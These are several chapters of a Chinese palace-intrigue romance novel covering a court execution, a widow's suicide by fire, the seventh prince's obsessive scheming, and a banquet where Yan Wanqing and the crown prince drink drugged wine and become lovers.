“殿下!殿下您不能这样!”林平之一听自己要被处死,心慌意乱,他跪爬到萧鸿深跟前,扯住他的衣摆:“微臣没有功劳也有苦劳啊,您看在这些年微臣像一条狗一样跟在您身后,饶了微臣一条性命吧。” 此话一出,众人看着萧鸿深的目光也变得有些奇怪了。 就连萧蘋风也带了几分深意:“七弟,这父皇的臣子怎么像条狗舔着你啊,多少有点不合适吧,还不快把林大人扶起来。” “皇兄!”萧鸿深已经气到几乎七窍生烟,眼见着这该死的太子还在火烧浇油,咬牙切齿的冲他说道:“慎言,皇兄!” “真是一出好戏,是不是啊——皇后娘娘!”他微微侧仰着头,旁边不远处的阁楼上,赫然站着一袭红衣看戏的皇后张岚依。 张岚依被发现之后,丝毫不在意,随手免了众人的跪拜礼,懒懒的扬声说道:“七皇子继续处理,本宫看着就好,这女子身世凄惨,你父皇最是见不得人间疾苦,可要好好惩治这恶人啊。” 她心里忍不住乐开了花。 这林平之平日里可没少在皇帝老儿面前说过自己的坏话,说她不够端庄根本撑不起一国之母的后位,放他娘的狗屁! 转念一想。 林平之难道就是那小狼崽子送给她的大礼?这礼可真是丰厚啊。 张岚依在人群中很快找到了站在后方的燕晚清,见对方仰起小脸冲着自己眨了眨眼睛,张岚依跟着愉悦的扬了扬眉角。 这小狼崽子,现在看着顺眼多了。 就在这时,她瞳孔骤缩,忍不住出口喊道:“拦住她——!” 第二十三章 她啊,最喜欢坐山观虎斗 所有的一切都发生的太突然了。 只见那温软的女人挣脱开秦舞的手,直接朝着后山的大火奔跑而去,头也不回! 众人耳边炸开皇后娘娘的那句:“拦住她!” 可惜一切都晚了。 女人奔入大火,在众目睽睽之下狰狞挣扎,声嘶力竭中变成了一个火人,最后倒下……再也没有能够站了起来。 “竟然选择**这种死法……”秦舞捂着脸,忍不住哽咽道,眼眶中的泪水不断的顺着眼角滴落。 谁也没有想到这女子竟然如此刚烈,她委曲求全这么多年,一朝沉冤得雪,毅然赴死去寻找自己九泉之下的夫君。 而这一切的始作俑者,就是这个贪得无厌的林平之! “七皇子你还愣着干什么,此人罪大恶极,事情真相大白,还不赶紧给他定罪!”秦舞见萧鸿深不动,她拎起身边的水桶,上前将剩下的水全部泼在了林平之身上,狠狠的啐了一口:“人渣!” 年迈的老人跌坐在地上,浑身湿透涕泗横流,却没有任何人觉得他可怜,只觉得恶心到了极点。 林平之怎么都想不明白,这赏梅宴怎么就把自己给赏没了。 萧鸿深更是心烦意乱,秦舞泼林平之,他也懒得阻止了。 事情现在已经成了定局,他本想着先押回京城,拖一拖时间,看看能不能将功补过再将这林平之捞出来,可是谁知道那女子竟然当着众人的面直接**了。 林平之此刻已经知道自己被萧鸿深放弃了,只是他并不甘心。 他跟着萧鸿深几年,背地里没有少替他做这些又脏又臭的事情,不过是强占民女抢个钱财杀了个人,在场谁的手里没有几条人命案,怎么到了他林平之这里,就过不去了呢? “七皇子殿下,您得救救老臣啊!”他像是突然抓住了一条救命稻草,声音越发洪亮,死死的盯着萧鸿深,眼神中的威胁非常明显。 萧鸿深原本就阴沉的面容上更加阴翳。 不知死活的东西,此时竟然想要威胁他! “根据大渭律例,杀人偿命,哪怕是父皇在这里,也会这般定罪,你还有什么脸面求生?!” 林平之听到这句话,冷哼一声,慢慢的从地上爬起来,他环顾四周,几乎所有人都用那种嫉恶如仇的目光看向自己。 “谁不想求生?”林平之生平第一次直视萧鸿深,这个当年名不见经传的皇子,现在竟然已经茁壮成长到可以和太子抗衡的地步了,怎么说也有他林平之的功劳吧。 现在只不过是遇到了一个小小的困难,这位竟然就要放弃自己? 笑话! 林平之眼里有恨意:“七皇子殿下,老臣不服——!” “刺啦——!”只见寒光一闪,锋利的剑尖划过林平之的脖颈,下一秒血水溅在了地上,人群中不少女眷尖叫出声。 七皇子萧鸿深竟然当着众人,把林平之给杀了! 一剑封喉! 林平之倒在地上,死不瞑目,脖颈处的血水哗哗往外流,很快在青石板上留下暗红色的血河…… “七弟!”萧蘋风冷下脸呵斥。 萧鸿深将长剑插回侍卫的剑鞘中,单膝跪在地上:“臣弟以为这贼子要行刺,故而出此下策,惊扰到了诸位实在是抱歉,还望皇兄恕罪,等回京后,臣弟自会向父皇请罪。” 说罢,他直接吩咐侍卫:“速速处理,不要脏了大家的眼睛。” 侍卫们很快用一块白布盖上了林平之的尸体,然后迅速抬了出去,还顺带着清洗干净了地面。 “堂堂朝廷四品官员,七皇子说杀就杀了,好大的威风啊!”妖娆的女音从人群后方传来,众人迅速让开,竟是皇后从阁楼上下来了。 她走进来,似乎是闻到了血腥味,抬手掩住了鼻息,目光则是落在萧鸿深身上。 “皇后娘娘教训的是,本殿回京便会去宫中找父皇讨罚。”萧鸿深面无表情的说道,言下之意,不劳你费心。 张岚依不以为意,此时天边已经透着微光,一夜山火也灭的差不多了,大家脸上也都呈现疲倦惊恐之色。 也该到她这个皇后娘娘出来主持公道说场面话的时候了。 至于现在要不要痛打落水狗,那是太子党的事情了。 她啊,最喜欢的就是坐山观虎斗了。 经过今晚,太子党和七皇子党两边必定又要掀起一番腥风血雨。 想想就刺激。 张岚依生怕自己忍不住笑出声,只得赶紧清清嗓子开口说道。 “诸位忙了一夜都累坏了,本宫已经吩咐宫人准备好了早膳,都已经送到了诸位的房内,今日的请安也免了,大家先休息,下午南山佛寺的虚无方丈会亲自主持一场超度,为刚刚那位刚烈的女子超度灵魂……” 一听见虚无方丈亲自主持,大家又来了精神。 谁不知道这南山寺有个活菩萨,最是灵验,一双慧眼能够看破人的前尘往事,只是轻易不露面。 “肯定是皇后娘娘为了安抚我们,才亲自出面请虚无方丈出山的。” “是啊是啊,不然谁能有这么大的面子,我要去问问姻缘……” “我也想去问问……” 耳边传来众人讨论的声音,燕晚清眼底也露出了兴味。 虚无方丈啊…… 啧,她也感兴趣,只不过不是因为他很准,而是因为他很能装。 不过就是不知道这位方丈,愿不愿意见自己。 一夜没睡,等皇后说完话,众人便各自散去了,临走的时候,燕晚清看到萧鸿深行色匆匆的离开,一张脸煞白煞白的。 “在看什么?”耳边突然传来声音,燕晚清收回眼神就看见了太子爷。 只见这位爷顺着她的目光看过去,俊美的面容上出现了一丝讥讽:“就这么喜欢看?” 那个毛头小子长得能有他好看? 燕晚清忍不住想翻白眼,想到光天白日地位悬殊,她低眉顺眼:“见过太子殿下。” “哼。”视线里她乖巧的低着头,规规矩矩的像个娃娃,萧蘋风冷哼一声:“没趣。” 说罢他头也不回的走了。 燕晚清知道自己肯定是惹毛了这位爷,但是她一点都不想哄。 本就是意外,她都不觉得吃亏,这位爷生的哪门子的气啊。 燕晚清打了个哈欠,眼角挤出晶莹的泪珠,忙了一夜没睡,该去好好休息了。 她慢悠悠的往回走,没有注意到一棵树下站着的女子,朝着她投来意味不明的眼神。 那目光幽深森冷,哀婉又迟疑。 第二十四章 今晚,务必选最烈的那种 燕晚清这一觉直接睡到了日晒三竿。 睡得踏踏实实,浑身舒畅,醒来的时候也是神清气爽。 就连从歌给她更衣的时候,都能听见她轻哼小曲儿。 只是高兴还没有持续多久,就听见门外传来哭声。 燕晚清蹙眉,从歌赶紧出门查看。 只见从欢跌坐在地上,哭的伤心欲绝:“大小姐,求您去看看七皇子殿下吧,他被太子殿下责罚了军棍……” 从歌恨不得去捂住这丫头片子的嘴。 只是还没有等她行动,帘子便被掀开来,燕晚清一袭水蓝色的长裙走了出来,她目光沉静:“七皇子被打了?” 从欢见燕晚清问话,赶紧爬到她跟前:“太子说七皇子殿下当众诛杀朝廷大臣,有违律法,打了他二十军棍呢。” 燕晚清没有想到自己睡觉的功夫,萧蘋风把萧鸿深给打了。 用的还是这么个理由。 只是为何要秋后算账?刚刚皇后在场的时候,萧蘋风明明就可以问责,可是他没有。 燕晚清想不明白,不过萧鸿深被打,她很高兴。 “大小姐您去看看七皇子吧,您若是去了,七皇子一定会很高兴的。”从欢说道,心里想的是,这样的话她也可以跟着大小姐身后也去看一眼。 “七皇子高不高兴关我阿姐什么事情!”说话间燕红昭一袭鲜红的罗裙,像个快乐的燕子飞奔而来。 她听到燕晚清醒了,便赶紧过来,哪曾想到听到这种话。 “阿姐,你身边怎么会有这种丫鬟。”燕红昭看着从欢,拧着眉头:“如此吃里扒外,想要败坏阿姐的名声,可要寻个婆子,将其发卖了?” “不,不是的,五小姐!”从欢登时慌了,她只不过说了几句,也是为大小姐好,这五小姐怎么就要把她卖了。 燕晚清看着从欢慌乱的眼神,心中十分安逸,表面上轻叹一口气:“不碍事,这丫头也是赤诚之心,没有坏心思的,五妹你不要和她计较。” 说着她看向从歌,一个眼神:“带从欢下去洗把脸吧,哭的这么伤心,说出去不知道的还以为我欺负她了呢。” 从歌赶紧拽着从欢从地上起来,起初她还不肯走,从歌便狠狠的在她胳膊上掐了一下,带着她退出了屋子。 人走没了,燕红昭便赶紧说出自己来的目的。 “阿姐,咱们开始吧。” 是的,她来找燕晚清练武的。 燕晚清不禁失笑,自家妹子真是个急性子:“好好好。” 两姐妹便从最基本的开始,燕晚清很快身上便出了一身薄汗,练的时候小七燕子濯也跟着来凑热闹,姐弟三人嬉嬉闹闹,练了好一会儿。 练完之后,燕晚清额前发丝都开始滴下汗珠,整个人却说不出的舒爽。 她越发怀念自己手中握着灵蛇长剑的时候了。 真希望能尽快找到解药,把千机的毒解了。 “今日便到这里吧阿姐。”燕红昭掏出帕子给她擦拭汗水,眼里心疼又热忱。 燕晚清点点头,此时丫鬟们也烧好了水,她便直接进屋沐浴更衣了。 至于七皇子那边,谁爱去谁去,反正她不去。 去了,她可说不准会让否极直接来一刀,送他直接上西天。 等她沐浴出来,孙氏就来告诉她皇后娘娘邀请她过去赴宴,要安抚诸位官宦女眷,值得一提的是,虚无方丈竟然也在宴会之上。 燕晚清自然是没有办法拒绝的,只不过她脑子里想的是,今日宴会上主食据说都是昨夜大火之下没有逃生的野味,这等宴会,虚无方丈不会觉得膈应么? 另外一边。 昏暗的房间内,男子趴在软榻上,俊美苍白的脸上布满了阴翳。 “燕晚清昨天没有任何异常么?”沙哑粗噶的声音从萧鸿深嘴里发出来。 墨山掩盖住眼中心疼的神色,回忆自己跟着燕晚清一天的过程,然后像个木讷的人偶回答道:“没有,她非常正常。” 非常……正常? 难道是他猜错了? “也是,不可能是她。”萧鸿深为自己的怀疑感觉到可笑,这一定是太子的手笔。 想到昨晚那目中无人的兄长,看着他的目光如同在看一个渺小的蝼蚁,萧鸿深的心就狠狠的拧在了一起。 “他跟本殿提了江南民营的时候,本殿就该想到会有这么一出,白白折了一个林平之进去。”萧鸿深越想越觉得心里窝火,他抬手冲着墨山说道:“派人去林平之家里好好搜搜,别出现什么账本之类的,眼下我们可经不起折腾了。” 墨山领命。 萧鸿深看着外面逐渐黑下来的天色,眼神越发执拗:“受伤的消息传出去了吗?” “传出去了。”墨山回答。 萧鸿深自言自语:“……老师怎么还不来看本殿呢。” 墨山只得硬着头皮:“安平郡主此刻应该在皇后娘娘的宴会上。” “太子也在?”萧鸿深猛地抬头问道,墨山点头:“在。” “……你去帮本殿办一件事。”他眸光渐深:“务必选最烈的那种。” 墨山不理解:“主子不争取秦国公主了吗?” 萧鸿深一张脸在昏暗的房间里看不真切,只听见沙哑如同砂砾摩挲纸张的声音缓缓响起:“你知道本殿为什么能活到现在么?” 在那个谁心里不舒服都能打他一顿,吃完上顿没有下顿的深宫里面,像他这样的孩子还有几个,可是唯独只有他活了下来。 墨山只看见萧鸿深幽深的目光落在自己身上,让她遍体生寒。 “做不出决断的时候,本殿只会抓住眼前应该抓的。” 燕晚清和远在天边的秦国公主,他会毫不犹豫的选择燕晚清。 秦舞喜欢太子,那就让她喜欢好了。 太子看上燕晚清,可就是触及到他的逆鳞了。 墨山悄无声息的离开。 留下萧鸿深一人,房间里他一张脸在烛火的衬托下,明明暗暗,他紧紧的抱着面前的玉枕,喃喃自语。 “……老师,只能是我的,生是,死也是。” “谁也不能抢走老师,谁也不能……哪怕杀了,也不能给出去!” 第二十五章 太子殿下的姻缘,在大厅之内 宴会之上,诸位女眷都觉得有些疑惑,今日皇后娘娘对太子殿下尤其的热络。 这种热络表现为,不停的将各家女眷介绍到太子面前,夸这个眼睛好看,那个鼻子漂亮,再说这个琴棋书画样样精通,那个诗词歌赋应有尽有,将各家的女儿夸得天仙乱坠,让她们又惊又喜。 只是今日太子的兴致不是很高,一直冷冷清清的不怎么说话,酒倒是一杯接着一杯的喝,让凑到他跟前就不敢说话的姑娘们更加拘谨了,生怕自己一个不小心就失去了入住东宫的机会。 萧蘋风哪里是不知道皇后在打什么算盘,他似笑非笑的挑眉,最后将目光落在末位的那个身上还披着袈裟的和尚身上。 “孤听闻,南山寺虚无方丈算的一手好姻缘,今日难得能看见方丈,孤也凑个热闹,求个姻缘。” 他对着虚无举起酒杯,只见那和尚缓缓起身回礼,露出庐山真面目来。 鼻梁高耸,眼眸深邃,皮肤苍白几乎没有血色,可偏偏有一张红的像抹了胭脂的薄唇,耳坠宽大,整个人看起来极其的柔和又说不出的俊美,让一众女儿家看的掩唇惊呼。 燕晚清也惊了一下,但是转念一想,她又想通了。 自然得是俊美的,不然靠什么吃饭呢。 宴会没有设在庙宇之中,而是有点距离接近于山顶的行宫里,是之前供皇帝皇后南山游玩居住的地方,各家儿女也是第一次进来,此处修的富丽堂皇。 眼下大厅之内,都是年轻男女,整整齐齐的对座,竟然也容纳了三十好几人。 燕晚清本着事不关己高高挂起的姿态,喝着手边上的葡萄酒,似血的颜色在杯盏中摇晃,让她有些怀念当年在塞北的那些时光。 那边虚无方丈和太子隔空讨论姻缘,她眼神没地方放便开始四下打量,京城这些年出了不少年轻的面孔。 只不过大多生的油头粉面,大腹便便,失去了美观。 好不容易有几个俊美,却只见眼下青紫多是声色犬马之徒。 燕晚清一个个打量过去,最后落在了一个身形瘦削却生的极其精致的男子身上,眼睛一亮。 他皮肤白皙,一双眼睛透亮像是两颗黑紫色的葡萄,熠熠生辉,仿若里面有万千星辰,红唇饱满,鼻尖小巧,整个人有一丝女气,可是眉间又覆盖着一股肃杀,挣脱开了这一丝女气。 矛盾。 这是燕晚清的第一眼感觉。 那人似乎是察觉到被偷窥,抬眼看了过来,燕晚清也不退让,直勾勾的盯了回去。 对方一愣,随即勾唇,举了举手中的酒盏。 燕晚清也举杯示意,两个人隔空饮酒,颇有年轻儿女的洒脱之意。 这位大概就是母亲之前说的北疆侯的嫡长子怀玉吧。 燕晚清微微眯起清冷的眼眸,这个北疆小侯爷为什么总是给她一种很怪异的感觉。 正在她思索的时候,只听见温润的嗓音带着几分故意说道:“那方丈不如说说孤和安平郡主的姻缘吧。” 燕晚清:“?” 她听见了什么鬼话? 燕晚清瞪大双眸看向那一身白衣风度翩翩,可是脸皮比塞北骆驼脚皮还要厚的太子爷,看着他脸红心不跳的逼问着虚无方丈姻缘的事情,心里十分不解。 难道大渭真的就没有这位爷在乎的人和事情了吗? “太子殿下问的是您和郡主的姻缘,还是您的姻缘和郡主的姻缘?”虚无沉静的声音响起,好似一口空灵的大钟,听得人精神一振。 燕晚清注意到萧蘋风看过来了,连忙眼神示意。 千万不要乱说话,说错一句话,往后指不定要起多少波澜。 尤其是女人多的地方是非多,燕晚清可不想成为这么多女人的眼中钉,肉中刺。 太子爷是个香饽饽,可惜她燕晚清无欲无求,美男子于她而言,只会阻挡她复仇的速度。 兴许是威胁起了作用,只见那人模狗样的男子噙着人畜无害的笑容:“自然是孤的姻缘,还有郡主的姻缘了,大家都问了,只有孤和郡主没有问,所以带着问问。” 虚无颔首,他缓缓从座位上起身,先是走到了燕晚清的面前:“郡主可否让贫僧看一下手相。” “左手还是右手?” “左手便可。” 燕晚清伸出左手,虚无仔细端详片刻,瞳孔蓦地皱缩。 “怎么了方丈?”燕晚清没有忽视他的变化:“方丈无需紧张,姻缘可遇不可求,本郡主看的很开。” 她无心儿女情长,但凡阻挡她复仇,来一个姻缘她砍一个。 虚无已经恢复了常态,他轻笑:“风弄竹声,只道金佩响;月移花影,疑是玉人来。郡主,倒也不必这般心灰意冷。” 说罢转头走向萧蘋风。 众人一看轮到了太子爷,心都跟着紧了紧,都等着方丈给出答案。 太子本人伸出了右手,却被方丈摁了下去:“左手。” “男子也是左手?”太子爷狐疑。 虚无一脸奇怪:“太子殿下也信男女相反的说法,那都是道听途说,只需要左手就行。” 萧蘋风闻言伸出了自己的左手。 帝王之子的手相自然是不同寻常的,虚无观察的比任何人都要久,在这期间,萧蘋风就直勾勾的盯着燕晚清,一直看到对方不自在移开视线。 他才轻微扯了一下唇角,带着些许情绪,又扫了一眼同一排的男子。 她,刚刚在看谁? 此时对面的秦国公主秦舞明显得的不耐烦了,她虽然被萧蘋风拒绝,可还是不服气,于是开口问道:“方丈,看的怎样了?” 其他女儿家虽然不如秦舞这般沉不住气,但是也竖起耳朵听着。 虚无环顾四周,看的女眷们屏住呼吸,才见他慢悠悠的开口。 一开口便是惊人之言。 “……太子殿下的姻缘,在大厅之内。” 不文绉绉,一语中的。 大渭太子妃的人选就在大殿之内,在这十多位女眷中间! 太刺激了。 喝的微醺的皇后张岚依瞬间来了精神。 “哦,竟是在大殿之内,太子殿下人中龙凤,也不知道这种福气会落在哪个女儿家身上。” 听着皇后娘娘带着调侃的话语,诸位女儿家都红了脸颊。 唯有秦舞抿着唇,并没有那般欣喜。 她是被萧蘋风坦言拒绝过的。 不是那十几分之一。 他的太子妃,他的皇后,都不可能跟自己有关。 再想到晚宴之前收到的消息,她的眼神更加暗淡了几分。 兄长们已经开始行动了,她并没有多少时间能够留在大渭了,过了今晚,她就得和皇后娘娘提出离开。 秦舞绞着裙摆,整个人都被笼罩在昏暗之中。 可惜无人注意到这一幕,大家都被歌舞声吸引,沉浸到新一轮的嬉笑中去了。 就在这时,秦舞身后的婢女走到了她的身边,对着她的耳朵说了几句话。 秦舞身子一僵,猛地看向了对面的太子,眼里的炙热再难掩分毫! 第二十六章 借用一下郡主,行个方便 宴会还在继续,宫人们捧着一盘盘精美的佳肴鱼贯而入,一一摆在桌子上。 兔子腿,烤野鸭,山鸡汤……竟然无一不是肉菜。 众人微微迟疑,这…… “这些都是昨夜来不及逃生的小家伙,陛下一直崇尚节俭,本宫不忍浪费,所以特意让御厨做成了菜品,大家尝尝鲜。”皇后缓缓的说道,她说罢笑盈盈的看向虚无方丈:“方丈应该不会介意吧?” 虚无方丈看着自己面前的一盘肉菜,面不改色,双手合十:“阿弥陀佛,娘娘有心了,贫僧不是迂腐之人,诸位尽情享用便是。” “既然方丈也这么说了,大家也不用顾忌了。”皇后接着说道,众人这才放宽心开始食用起来,心里这才明白为何娘娘要将宴会设在这里。 燕晚清闻着那山鸡汤味道香浓,汤汁又炖的黄白浑厚,汤上飘着几点红色的枸杞,又撒上了些许翠绿的葱花,色泽上极为有人,不由得觉得口齿生津。 “小姐可要喝点汤?”从歌在她身侧半跪下来,净手后先是从瓦罐中撕扯下来几块鲜嫩的鸡肉放在碗中,紧接着擦干净手用汤匙乘出汤汁浇灌在鸡肉上,然后才放在了燕晚清的面前。 燕晚清用调羹浅尝一口,不愧是宫中御厨,手艺惊人,只是简简单单的一瓦罐汤,竟然让她喝出了安宁的味道。 从歌见她喜欢,又给她乘出不少鸡汤来,很快便见了底。 可是显然燕晚清还没有喝够。 她有些遗憾的瞄了一眼见底只剩下鸡肉的瓦罐,京城里贵人用的东西无一不是精致的,可是精致的也就意味着小巧,巴掌大的瓦罐,憨态可掬,摆在桌子上极其的可人,可是它真的不经装。 这要是放在军中,这点东西都不够将士们塞牙缝的。 正想着,又有宫人过来,送上了一盅瓦罐汤,燕晚清愣了一下:“这是?” 每个人都只有一份,这是御厨们算好的量,怎的她就有两盅? 可惜宫人不说话,送上了汤便施礼下去了。 燕晚清悄悄的抬头打量,一眼就直接撞进了高位者的黑眸里,只见他面前空空荡荡,当下心中了然。 是那位爷送过来的。 燕晚清心里蓦地咯噔了一下,心跳加速,但是很快又恢复了正常。 她没有喝汤,哪怕那碗汤醇香的味道一直萦绕在鼻尖,等到它全部冷掉,燕晚清也没有再去看一眼。 “昨夜的大火也是万幸,虽然是烧了山,却也直接开垦出了一块土地,也算是因祸得福了。”酒过三巡,皇后作为眼下唯二的掌权者,唏嘘说道。 众人纷纷应和。 张岚依想到昨日的那女子,眼中不忍:“本宫心中还想着那位女子,性格刚烈,宁为玉碎不为瓦全,不知她的家中可还有家人……” 自然是没有家人的。 燕晚清低着头一直有一搭没一搭的吃菜,那女子被否极他们从湖水中捞出来,就已经存了必死的决心,来南山寺之前,女子拉着否极的手说了很多,字字感激,字字泣血。 她本就是商女,夫君将她从青楼赎了出来,两个人琴瑟和谐也算是一段佳话。 倘若不是林平之这个贪得无厌的东西,他们二人也会像千百万个平凡夫妻一样,度过庸碌却又充实的一生。 可老天最是捉弄人。 想要平凡的人,从来都是一生颠簸。 她回忆前世自己走过的那些路,眼底的清明逐渐染上了暗沉。 “回禀皇后娘娘,那女子无父无母无子无牵挂……”有人回答。 张岚依听到这里,捏着酒杯的手僵了一下,脸上依然没有多少情绪变化,只是说了一句:“孑然一身,去的时候倒是干干净净,你们将她的骨灰送去江南和她夫君合葬了吧。” “喏。”宫人领命下去。 宴会到了现在这里,张岚依显然没了多少兴致,她趁着酒醉说出去透透气,结果去了便再也没有回来。 整个宴会上便只剩下香饽饽太子爷。 各家未婚女子都紧紧地盯着他,恨不得立刻就想知道自己是不是未来的太子妃。 燕晚清自然不想去凑这个热闹,她见张岚依走了,便也想离开。 只是这太子爷的事情不解决,她担心日后会生出事端。 只不过现在他被一群莺莺燕燕围绕着,想要说话都难,燕晚清只能安静的坐在位置上等着。 “安平郡主……?” 燕晚清抬头,发现是之前跟她举杯对饮的少年。 “安平见过小侯爷。”她起身回了个礼。 靠近了看,这个小侯爷生的唇红齿白,极其精致,那双眼睛灿若星辰,让人见之不忘。 “不必多礼。”怀玉有些腼腆,他手里还端着一碟子糕点,有些手足无措的放在了桌子上:“都是些甜食,想来你们女儿家爱吃,便端着过来了。” “多谢小侯爷。” 气氛有些凝固,怀玉的耳坠逐渐泛了红。 燕晚清想着母亲交代的话,心中还是不忍,轻笑道:“小侯爷这是第一次和女子讲话么?” 怀玉摩挲了一下食指上的薄茧,低着头有些不好意思:“北疆多男儿,本侯也不喜和女子待在一块,所以不免有些难为情。” 倒是个耿直的小伙子。 怀玉比燕晚清要小上几个月,两个人之间也确实有过口头的娃娃亲。 这是让燕晚清觉得棘手的事情。 她想着倘若待会儿这位小侯爷提出来娃娃亲的事情,她要如何回答。 怀玉显然也是想说这件事情,他不自在的干咳了两声:“上午的时候郡主在休息,本侯已经见过了姨母……” “侯爷丰神俊朗在北疆应该不缺姑娘家喜欢,长辈儿时戏言大可不必——”燕晚清和怀玉同时开口。 两个人又同时顿住,好半饷,二人都笑出了声。 气氛稍微融洽了点,燕晚清刚要开口,头顶便洒下一片阴影,与其同时似笑非笑的男音响起。 “聊什么呢,这么开心?” 燕晚清:“……” 怀玉面色稍显拘谨:“见过太子殿下。” 萧蘋风一袭白袍,目光隐晦的从桌子上的一碟子糕点飘过,他轻嗯一声。 “和郡主一见如故,所以随便聊了两句。”怀玉慢悠悠的说道。 燕晚清站在一旁点头,她这才发现太子爷要比怀玉高上一个头,整个人十分的伟岸高大。 只见他面带微笑,极具压迫感。 “孤想借用一下安平郡主,不知小侯爷能否行个方便?”语气看似疑问,却没有给怀玉任何商量的余地。 第二十七章 你不试试,怎么知道我住不进去 燕晚清蹙着眉头,轻微的朝着怀玉摇了摇头。 怀玉目光游移在这两个人之间,最终歉意的朝着燕晚清笑了笑:“自然是方便的,那你们聊。” 燕晚清眼见着怀玉走了,心中忐忑,便听见身边这位爷说道。 “里面呆着闷,出去说。” 燕晚清没辙,轻叹一口闷气,她下定决心拿过一旁桌子上的酒壶,跟了出去。 俗话说,伸手不打笑脸人。 刚出殿外,她便提起酒壶,往食指中指无名指之间夹着的两个酒盏里,倾倒了酒水。 “太子殿下,请。” 她将酒壶放下,递出一个酒盏,看着太子接下。 燕晚清双手托杯,举起:“太子殿下乃是天下之光,臣女蒲柳之姿,不值得殿下此番举动,今夜以酒赔罪,还望殿下能够高抬贵手,放过臣女。” “高抬贵手,嗯?” “放过你,嗯?” 燕晚清一口喝了酒,喉间滚烫,眼角都呛出些许晶莹。 她随便拿了一壶酒,没想到这般烈。 只不过是小小的一盏,劲儿就这般大。 此时太子意味不明,居高临下的看着她,脸是毫不掩饰的臭。 “燕晚清,孤问你。”他步步逼近,将人直接逼近了角落里,梧桐叶宽大,很快遮盖住这一走廊角落里的二人。 燕晚清只觉得头晕,浑身有些发烫,她努力瞪大眼睛看向对方。 “太子殿下请问。” 太子把玩着手里的温润的杯盏,衬托着他袖长的手指异常的好看,好看到……燕晚清想咬一口。 咬……一口? 燕晚清意识到自己的想法之后,顿觉不妙。 此时面前的男子周身遍布阴沉,他低低的冷笑一声。 “燕晚清你真是好样的。”他死死的盯着面前的小女人:“……孤承认,倾心于你。” 这句话直接在燕晚清的耳边炸开。 “对,老子就是喜欢你,让你丢脸了?至于一而再再而三的躲着老子么?!”太子恨得牙痒痒的声音在燕晚清耳边骂,温热的气息喷在她的面颊上,瞬间染上了粉红。 她整个人有些发蒙,脖颈被大手锁住,微微用力却不让她感觉到疼痛。 “你心里有人了?” 燕晚清摇头:“没有。” 太子眼里闪过亮色,但是很快又被怒气覆盖:“没有!那你拒绝老子!” 现在连装都不带装了,堂堂大渭所有人敬若神明的太子殿下,在黑夜里的走廊尽头,掐着一弱质女流的脖子,难以自持的一遍一遍的自称老子,字字句句都是自己没被看上的委屈。 人后的太子鲜少露出这番神情,他自嘲一笑:“放过你是吧。”他举起手里的酒盏,在燕晚清的注视下仰头一饮而尽,速度快到燕晚清根本来不及阻止。 完了…… 燕晚清只觉得眼前发黑,冷风垂在越发滚烫的身躯,她在太子爷的目光中看到了不敢置信。 “你……” 燕晚清赶紧举起自己的双手:“不,不是我。” 她随手从桌子上拿了一壶酒,哪里知道这酒水有问题。 太子面上流露出古怪的神色,他舔了舔有些发干的唇瓣,嗓音也跟着喑哑下来:“……那现在怎么办?” 燕晚清浑身上下都被陌生的感觉包围着,整个人不知所措,她摇了摇头:“不知道。” 夜色之下,娇俏的小女娘一派天真的仰着头,盈盈粉泪看着自己,太子忍不住偏头骂了一句脏话。 他真不是圣人君子,眼下天时地利人和,他真的会当禽兽。 燕晚清双手攀住了锁住自己喉咙的臂膀,冰凉的触感让她整个人都舒缓了不少,对方却瞬间绷紧了肌肉。 “你,想干嘛?”太子隐忍又期待的问道。 燕晚清本就喝了葡萄酒,此刻大脑乱的像是一团浆糊。 她胡乱的去拉扯那有力的臂膀,对方松手后,她一头扎进了宽广滚烫的胸膛,对方浑身僵硬根本不敢动弹。 “热,好热……” 她攀附过去,像是软骨菟丝花。 太子双手垂在两边,声音哑的不像话:“……燕晚清你清醒一点。” 清醒?她怎么清醒? 燕晚清脑海混沌,但也知道自己中招了。 这药效极其强悍,她双手攥拳掐的掌心生疼,都没有办法维持一时的清醒。 如果不解毒,她真的会爆体而亡。 她不想死。 刚从地狱爬回来,她还没有手刃仇人,怎么能够折在这里。 “殿下……”她轻声喊,声音在风中打转绕进了他的耳朵里,最后在心尖挠了挠痒。 “燕晚清你闭嘴。”太子知道她是什么意思,但是就是执拗的站在原地。 燕晚清见他纹丝不动,脑海中最后的清明几乎崩溃:“……求您。” “求?”听到这个字眼,太子舔了舔唇角,十分邪肆:“你上次求我转过去,这次求我什么?” 黑暗中,喉结滚动。 “燕晚清,你说清楚点,求我什么?” 燕晚清紧紧捏着他的衣襟,垫脚蜻蜓点水拂过他的红唇,下一秒整个人便被拦腰抱起。 黑夜中人影闪过,一处偏僻的寝殿被踹开了门,漆黑不见五指的房间里,温度不断攀升…… 浮浮沉沉,不知道过了多久。 燕晚清醒过来的时候,腰间还牢牢的锁着大手。 “醒了?”夜色中,她轻微的动了一下,都被对方了如指掌。 燕晚清头疼欲裂,她重新闭上眼睛,企图装睡蒙混过关。 唇上却是一热。 “再装,我就继续了。”大手从腰逐渐下滑…… 燕晚清被褥之下的双手,赶紧去抓大掌:“别。” 声音沙哑,气音里面全是祈求。 听得男子喉结滚烫。 “现在你打算怎么办?” 燕晚清双眼无神:“我想缓会儿,你别说话。” 太子爷又不高兴了,单手掐住她的脸颊,将嘴唇掐的嘟起来,凑上去又是亲了一口:“你缓什么?动歪脑筋想着怎么甩掉我么?!” 眼下也不自称孤了。 一口一个我,说的极其的顺口。 燕晚清深呼吸一口气,双手扶住他的胳膊:“怎么会呢。” “哼。”太子爷冷哼:“谅你也不敢,你睡了我,就得对我负责,我可是一国太子,哪能让你白睡。” 燕晚清心中无语:“你想干嘛?” 某位爷等的就是这句话:“来当我的太子妃。” “太子殿下这次为什么回来?”燕晚清突然问道。 男子捏着她的腮帮子一松一紧,嗓音低沉:“为你而来。” 她一直都在他的心上,只不过她一直不知道而已。 那天晚上山涧里,他再次见到她,心里的火把便重新燃烧起来。 “既然你心里没有人。”他亲昵的凑到她耳边:“燕晚清,你不试试,怎么知道我住不进去呢?” 第二十八章 吵也吵不过,打也打不过 你不试试,怎么知道我住不进去呢? 燕晚清耳边都是青年偏执的话语,她不可置否,心口跟着颤了几下。 “说话。”得不到回应的太子爷,不开心了。 她伸出手将他捏着自己腮帮子的手拿下来,隔着黑暗,她撑起半个身子,就这么俯瞰他。 “为什么非得是我?” “为什么不能是你?”太子仰起头,轻咬她的红唇后,又忍不住勾着她拉入自己的怀中,喟叹一声:“十岁那年,你跟着镇国公去战场,践行酒是我给你倒的。” 燕晚清想不起来,十岁那年她眼里只有金戈铁马,大漠横沙,想不来践行的时候是哪个皇宫贵族给他倒的酒。 更何况,十岁,父亲根本就不会让她喝酒。 “想不起来。” 